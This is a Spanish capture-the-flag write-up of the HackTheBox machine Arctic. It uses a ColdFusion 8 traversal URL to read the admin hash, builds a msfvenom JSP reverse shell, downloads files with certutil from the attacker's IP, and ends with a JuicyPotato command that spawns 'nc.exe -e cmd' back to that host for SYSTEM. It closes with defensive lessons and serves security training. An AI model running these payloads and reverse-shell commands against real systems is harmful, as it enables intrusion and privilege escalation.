the_open_door
café
ESEN

Arctic

HackTheBoxFácilWindows10.10.10.11

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#coldfusion#cve-2010-2861#directory-traversal#sha1#rainbow-table#scheduled-task#jsp#reverse-shell#seimpersonate#juicypotato#potato
TL;DR. Arctic es una máquina Windows fácil y antigua que corre Adobe ColdFusion 8 en el puerto 8500. Una vulnerabilidad de directory traversal (CVE-2010-2861) permite leer password.properties y sacar el hash SHA1 del administrador; una rainbow table lo revienta a happyday. Ya dentro del panel, se programa una tarea programada que descarga un .jsp malicioso al directorio web con directory listing, y al cargarlo da una reverse shell como tolis. Ese usuario tiene SeImpersonatePrivilege, así que un ataque tipo Potato (JuicyPotato) eleva a NT AUTHORITY\SYSTEM.

Reconocimiento

Ping

Un ping confirma que la máquina responde y, por el TTL, orienta sobre el sistema operativo:

ping -c 1 10.10.10.11

ping a 10.10.10.11 con ttl=127

PING 10.10.10.11 (10.10.10.11) 56(84) bytes of data.
64 bytes from 10.10.10.11: icmp_seq=1 ttl=127 time=109 ms

--- 10.10.10.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 108.698/108.698/108.698/0.000 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Un TCP completo a los 65535 puertos deja solo tres:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.11 -oG scan

el escaneo SYN completo descubre 135/msrpc, 8500/fmtp y 49154, los tres con syn-ack ttl 127

Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
135/tcp   open  msrpc   syn-ack ttl 127
8500/tcp  open  fmtp    syn-ack ttl 127
49154/tcp open  unknown syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds
           Raw packets sent: 131085 (5.768MB) | Rcvd: 21 (924B)

extractPorts resume el fichero -oG y deja los tres puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.10.11 y puertos abiertos 135,8500,49154

Extracting information ...
IP Address: 10.10.10.11
Open ports: 135,8500,49154

Los otros 65532 salen filtered (no-response), no closed: hay un cortafuegos descartando paquetes en silencio, y por eso el barrido tarda 26 segundos en vez de un par. El aviso del --defeat-rst-ratelimit va en la misma línea: con la máquina limitando los RST, algunos puertos cerrados pueden estar contándose como filtrados, así que la lista de "cerrados" no es de fiar (la de abiertos sí). Los tres syn-ack ttl 127 vuelven a apuntar a Windows.

El escaneo de versiones sobre esos tres puertos (lanzado desde una función del .zshrc que envuelve nmap -p<puertos> -sCV) devuelve un perfil escueto pero revelador: RPC en 135 y 49154 y, sobre todo, un servicio raro en el 8500, el puerto por defecto de ColdFusion.

nmap -p135,8500,49154 -sCV 10.10.10.11

escaneo -sCV de los tres puertos: 135 y 49154 msrpc, el 8500 sin identificar como fmtp?

PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.69 seconds

Ese fmtp? con interrogación es lo interesante: nmap ha visto respuesta pero no ha sabido encajarla en ninguna firma, así que se limita a copiar el nombre que /etc/services asocia al 8500. Cuando pasa eso, el trabajo lo hace uno a mano. whatweb sí saca algo:

whatweb 10.10.10.11:8500

whatweb sobre el 8500 identifica el JRun Web Server, el módulo Index-Of y un título de listado de directorio

http://10.10.10.11:8500 [200 OK] Country[RESERVED][ZZ], maybe Dell-OpenManage-Switch-Administrator, HTTPServer[JRun Web Server], IP[10.10.10.11], Index-Of, Title[Index of /]

Dos datos y un despiste. El despiste es el maybe Dell-OpenManage-Switch-Administrator, una firma que whatweb lanza con poca confianza y que aquí no lleva a ningún sitio. Los datos buenos son JRun Web Server, el servidor de aplicaciones Java que Adobe embebe en ColdFusion, y el Index-Of: hay directory listing. Wappalyzer, en cambio, no reconoce nada, que es lo normal cuando el servidor no es ni Apache ni nginx ni un CMS conocido:

la raíz del 8500 lista CFIDE/ y cfdocs/ mientras Wappalyzer informa de que no detecta tecnologías

La raíz sirve dos directorios, CFIDE/ y cfdocs/. El primero lleva a administrator/:

listado de /CFIDE/ con el directorio administrator/ entre los recursos

Y ahí aparece el panel de Adobe ColdFusion 8 Administrator, con la versión escrita en la propia pantalla de login:

panel de login de Adobe ColdFusion 8 Administrator

Acceso al panel de ColdFusion

CVE-2010-2861: directory traversal a password.properties

ColdFusion 8 arrastra un directory traversal clásico (CVE-2010-2861) en el parámetro locale de varias páginas del administrador. Con un searchsploit localizamos el exploit, pero el núcleo del ataque es una sola URL que sube por el árbol de directorios hasta el fichero donde ColdFusion guarda la contraseña del panel:

searchsploit "Adobe coldfusion 8"
searchsploit -m multiple/remote/14641.py

searchsploit lista los exploits de ColdFusion y el -m falla con Could not find EDB-ID

Adobe ColdFusion - Directory Traversal              | multiple/remote/14641.py
Adobe ColdFusion - Directory Traversal (Metasploit) | multiple/remote/16995.rb
Adobe ColdFusion 8 - Remote Command Execution (RCE) | cfm/webapps/50057.py
...
Shellcodes: No Results

# searchsploit Adobe coldfusion 8 -m multiple/remote/14641.py
[!] Could not find EDB-ID #

El primer intento de copiar el exploit falla: -m no espera una ruta sino el EDB-ID del exploit, así que lo correcto es searchsploit -m 14641 (o copiar el fichero a mano desde /usr/share/exploitdb/exploits/multiple/remote/). Vale la pena leer el código antes de lanzarlo, porque lo interesante no es el script sino el comentario de la cabecera:

el código de 14641.py con la petición GET del traversal y la lista de ficheros alternativos

# working GET request courtesy of carnal0wnage:
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"

# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
# leo 13.08.2010

# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/i...

Esa lista de filenames explica por qué el exploit prueba varias páginas: el traversal no vive en una URL concreta sino en el parámetro locale, que varias páginas del administrador procesan igual. Si una está bloqueada, sirve otra. Aquí basta con la primera, así que se lanza a mano desde el navegador:

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

La respuesta pinta el password.properties encima del propio formulario de login. El %00 (null byte) trunca la ruta para que el servidor sirva el fichero tal cual en vez de añadirle la extensión que espera:

el directory traversal expone password.properties con el hash del administrador sobre el formulario

#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6&\\Q>[K\=XP \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true

El fichero suelta dos credenciales, no una: la del panel (password) y la de RDS (rdspassword), el servicio de desarrollo remoto de ColdFusion. La que nos interesa es la primera, y llega en mayúsculas porque así la escribe Java; da igual, el hexadecimal de un hash no distingue mayúsculas.

De hash SHA1 a happyday

El hash es un SHA1 sin sal (40 caracteres hexadecimales). Sin sal, un hash débil cae al instante contra una rainbow table; lo pasamos por un servicio de búsqueda y resuelve a la primera:

hashes.com informa de 1 hash comprobado, 1 encontrado, y resuelve la contraseña happyday

1 hashes were checked: 1 found 0 not found
Found:
2f635f6d20e3fde0c53075a84b68fb07dcec9b03:happyday

Nada se ha "roto" aquí en el sentido de fuerza bruta: el hash ya estaba en la base de datos del servicio, que es exactamente el riesgo de un SHA1 sin sal sobre una contraseña de diccionario.

el panel de ColdFusion 8 con el usuario admin y la contraseña happyday escritos y el botón Login resaltado

Con admin / happyday entramos al panel.

Shell como tolis

Tarea programada que sube un .jsp

Dentro del panel, Server Settings > Mappings da el dato que faltaba: la ruta absoluta detrás de /CFIDE es C:\ColdFusion8\wwwroot\CFIDE, justo el directorio en el que tenemos directory listing. Puesto uno al lado del otro, el listado del navegador y la tabla de mappings dicen lo mismo:

la pestaña Mappings muestra /CFIDE apuntando a C:\ColdFusion8\wwwroot\CFIDE junto al listado del directorio

Logical Path   Directory Path
/CFIDE         C:\ColdFusion8\wwwroot\CFIDE
/gateway       C:\ColdFusion8\gateway\cfc

Si conseguimos dejar ahí un fichero interpretable por el servidor, tendremos ejecución. Y ahí entra un detalle de arquitectura que conviene decir bien: ColdFusion 8 corre sobre un servidor de aplicaciones Java (el JRun que delató whatweb), así que un .jsp colocado bajo wwwroot no lo interpreta ColdFusion, lo interpreta el motor de servlets que hay debajo. Para el atacante da igual quién lo ejecute; para entender por qué funciona, no.

Buscamos primero si Metasploit trae un payload para esa extensión y luego generamos el fichero:

msfvenom -l payloads | grep jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.4 LPORT=1234 -o reverse.jsp
python3 -m http.server 80

msfvenom lista los payloads jsp, genera reverse.jsp y se sirve por HTTP

java/jsp_shell_bind_tcp       Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp    Connect back to attacker and spawn a command shell

# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.4 LPORT=1234 -o reverse.jsp
Payload size: 1496 bytes
Saved as: reverse.jsp
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Hay dos candidatos y la diferencia entre ellos es la dirección de la conexión: el bind se queda escuchando en la víctima (y ahí tenemos un cortafuegos filtrando 65532 puertos, así que no) y el reverse sale hacia nosotros. Se genera el reverse.jsp (1496 bytes) y se sirve desde el HTTP local.

Falta cómo llevarlo a la víctima, y lo pone el propio panel. En el menú lateral, bajo Debugging & Logging, está la sección Scheduled Tasks, todavía vacía:

el menú lateral de ColdFusion con Scheduled Tasks resaltado y la sección vacía, con el botón Schedule New Task

Debugging & Logging > Scheduled Tasks

Scheduled tasks can create static web pages from dynamic data sources.

Scheduled Tasks
Actions   Task Name   Duration
No tasks have been scheduled.

Permite programar una petición a una URL y, con la casilla Publish → Save output to a file, guardar la respuesta en una ruta local. Es el primitivo perfecto, un upload con otro nombre: la tarea (aquí llamada Pwned) apunta a http://10.10.16.4/reverse.jsp y escribe la respuesta en ...\ColdFusion8\wwwroot\CFIDE\reverse.jsp.

la tarea programada Pwned descarga http://10.10.16.4/reverse.jsp y guarda la salida en wwwroot\CFIDE

Al ejecutarla, las dos puntas confirman el paso: el panel responde This scheduled task was completed successfully y nuestro servidor HTTP registra la petición desde la IP de la víctima:

el panel da la tarea por completada y el http.server registra el GET /reverse.jsp desde 10.10.10.11

10.10.10.11 - - [17/Jun/2025 17:11:10] "GET /reverse.jsp HTTP/1.1" 200 -

Con la shell en JSP ya colocada, abrimos el listener y cargamos el fichero desde el navegador para disparar la conexión:

nc -nlvp 1234

nc recibe la reverse shell y se confirma la subida del fichero

# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.11] 49277
Microsoft Windows [Version 6.1.7600]
C:\ColdFusion8\runtime\bin>

El directory listing de /CFIDE/ confirma que reverse.jsp quedó subido, y de paso deja ver algo curioso: pesa 1498 bytes, dos más que el original de 1496. La tarea no copia el fichero, guarda la respuesta HTTP, y en el camino se le añade un salto de línea. Da igual para un .jsp, pero conviene saberlo antes de usar este truco con un binario. Al cargarlo, el nc recibe la shell en el contexto de ColdFusion (C:\ColdFusion8\runtime\bin).

La reverse shell entra como tolis, y leemos la primera flag:

shell como tolis: type user.txt muestra la flag de usuario

C:\Users\tolis\Desktop> type user.txt
990082cb4baa2466635b5923e66df1dd

Shell como SYSTEM

SeImpersonatePrivilege

Lo primero tras una shell en Windows es mirar los privilegios del token. tolis tiene SeImpersonatePrivilege habilitado, la llave de toda la familia de ataques "Potato":

whoami /priv

whoami /priv muestra SeImpersonatePrivilege habilitado

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                State
============================= ========================================== ========
SeChangeNotifyPrivilege       Bypass traverse checking                   Enabled
SeImpersonatePrivilege        Impersonate a client after authentication  Enabled
SeCreateGlobalPrivilege       Create global objects                      Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set             Disabled

La lista es la típica de una cuenta de servicio: cuatro privilegios, tres habilitados y ninguno que a primera vista parezca administrativo. SeChangeNotifyPrivilege lo tiene todo el mundo y SeIncreaseWorkingSetPrivilege ni siquiera está activo. El que importa es el segundo, y viene acompañado de SeCreateGlobalPrivilege, que es justo el que permite crear los objetos con nombre en el espacio global que necesita el ataque.

JuicyPotato a NT AUTHORITY\SYSTEM

SeImpersonatePrivilege permite que un proceso suplante el token de un cliente que se autentique contra él. JuicyPotato lo explota engañando a un servicio COM/DCOM que corre como SYSTEM para que se autentique contra un endpoint controlado por el atacante; al hacerlo, se captura su token y se lanza un proceso con él. Como esta máquina es Windows Server 2008 R2, JuicyPotato (repo) es viable (en versiones modernas se usa PrintSpoofer (repo) o RoguePotato (repo)).

Preparamos las dos piezas en local. La primera se descarga de la página de releases del repositorio, que publica el binario ya compilado:

la release v0.1 Fresh potatoes de ohpe/juicy-potato en GitHub con el asset JuicyPotato.exe resaltado

mv /home/krmena/Downloads/JuicyPotato.exe .

La segunda es un netcat para Windows, que no viene con el sistema. El sitio de referencia es eternallybored.org, que distribuye la 1.12 compilada para 32 y 64 bits, con un aviso que conviene leer: los antivirus marcan nc.exe como malicioso.

la página de netcat de eternallybored con la nota de la version 1.12 resaltada, y en el terminal el mv del zip descargado

mv /home/krmena/Downloads/netcat-win32-1.12.zip .
ls
JuicyPotato.exe  netcat-win32-1.12.zip

Del netcat nos quedamos con el nc64.exe (la víctima es x64) renombrado a nc.exe:

unzip netcat.zip -d netcat
mv netcat/nc64.exe nc.exe
ls

el unzip del netcat extrae nc.exe y nc64.exe entre las fuentes, y el mv deja nc.exe junto a JuicyPotato.exe

Archive:  netcat.zip
  inflating: netcat/nc.exe
  inflating: netcat/nc64.exe
  ...
JuicyPotato.exe  nc.exe  netcat  netcat.zip

Y JuicyPotato.exe pasa a jp.exe, que es menos ruidoso de teclear y de ver en un listado:

mv JuicyPotato.exe jp.exe
python3 -m http.server 80

el http.server registra las descargas de nc.exe y jp.exe desde la víctima

10.10.10.11 - - [17/Jun/2025 19:16:36] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.11 - - [17/Jun/2025 19:17:29] "GET /jp.exe HTTP/1.1" 200 -

Del lado de la víctima, la descarga va con certutil.exe. No es una herramienta de transferencia: es la utilidad de certificados de Windows, y su caché de URLs (-urlcache -split) se usa desde hace años como un descargador que ya viene instalado y firmado por Microsoft:

certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe
certutil.exe -f -urlcache -split http://10.10.16.4/jp.exe

certutil descarga nc.exe y jp.exe en C:\ColdFusion8\runtime\bin

C:\ColdFusion8\runtime\bin>certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Con las dos piezas dentro, se lanza el exploit pidiéndole que ejecute el netcat de vuelta como SYSTEM:

.\JP.exe -t * -l 4321 -p C:\Windows\System32\cmd.exe -a "/c C:\ColdFusion8\runtime\bin\nc.exe -e cmd 10.10.16.4 4646"

JuicyPotato prueba el CLSID, hace CreateProcessWithTokenW y en el listener entra una shell como nt authority\system

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4321
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

Esas tres líneas son el ataque entero. Testing {4991d34b-...} es el CLSID del objeto COM que se pide activar (el de BITS, el clásico para esta técnica); authresult 0 significa que la activación salió bien y que el token que llegó es el de NT AUTHORITY\SYSTEM; y CreateProcessWithTokenW OK es el momento en que ese token se usa para arrancar un proceso nuevo. El -t * le dice a la herramienta que pruebe los dos métodos de creación de proceso y se quede con el que funcione.

En el listener cae la shell privilegiada. El primer type falla, porque la flag no está en el perfil del Administrador sino en su escritorio:

# nc -nlvp 4646
listening on [any] 4646 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.11] 49643

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\root.txt
The system cannot find the file specified.

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
8c9e1702849d64100f4b03b346d36ce8

Cadena de ataque

ColdFusion 8 (:8500, directory listing)
   │  CVE-2010-2861 (directory traversal) → password.properties → SHA1
   ▼
rainbow table → happyday → panel admin
   │  Scheduled Task → descarga reverse.jsp a /CFIDE → cargar el .jsp
   ▼
reverse shell como tolis  →  user.txt
   │  whoami /priv → SeImpersonatePrivilege
   ▼
JuicyPotato (abuso COM/DCOM)  →  NT AUTHORITY\SYSTEM  →  root.txt

Lecciones aprendidas

  • El software sin parchear es el vector más barato. ColdFusion 8 con CVE-2010-2861 permitía leer ficheros del sistema sin autenticación. Mantener el software actualizado habría cortado la cadena de raíz.
  • Un hash sin sal no protege nada frente a una contraseña débil. El SHA1 de happyday cayó en una rainbow table en segundos. Salar y usar funciones lentas (bcrypt/argon2) es lo mínimo; una contraseña fuerte, lo siguiente.
  • Las funciones de "tareas programadas" son ejecución de código encubierta. Poder programar una descarga a una ruta web con directory listing es, de facto, upload + RCE. Restringir dónde escriben esas tareas y qué extensiones sirve el servidor.
  • SeImpersonatePrivilege es game over en Windows antiguos. Las cuentas de servicio suelen tenerlo, y un ataque Potato lo convierte en SYSTEM. Endurecer las cuentas de servicio y mantener el sistema en versiones donde estas técnicas estén mitigadas.
  • Un servicio? con interrogación en nmap no es un puerto sin interés. El fmtp? del 8500 solo significa que la firma no encaja; el nombre lo puso /etc/services. Quien identificó el servicio fue whatweb con su JRun Web Server, y eso ya es ColdFusion.
  • filtered y closed no son lo mismo. 65532 puertos filtered (no-response) describen un cortafuegos que descarta en silencio, no puertos cerrados; con el aviso del --defeat-rst-ratelimit encima, la lista de cerrados deja de ser fiable y solo la de abiertos vale.
  • Lee el exploit antes de lanzarlo. Lo útil de 14641.py no es el script sino su cabecera: la URL exacta del traversal y una lista de páginas alternativas del panel que procesan el mismo parámetro locale, por si alguna está bloqueada.
  • Un fichero de configuración rara vez guarda una sola credencial. Junto al password del panel viaja el rdspassword de RDS. Cuando un traversal saca un fichero, se lee entero.
  • Las descargas se hacen con lo que ya está instalado. certutil.exe es la utilidad de certificados de Windows y su caché de URLs sirve de descargador firmado por Microsoft. Vigilar el binario, no solo las herramientas que "no deberían estar ahí".
Cheatsheet de comandos 19 comandos

Repaso rápido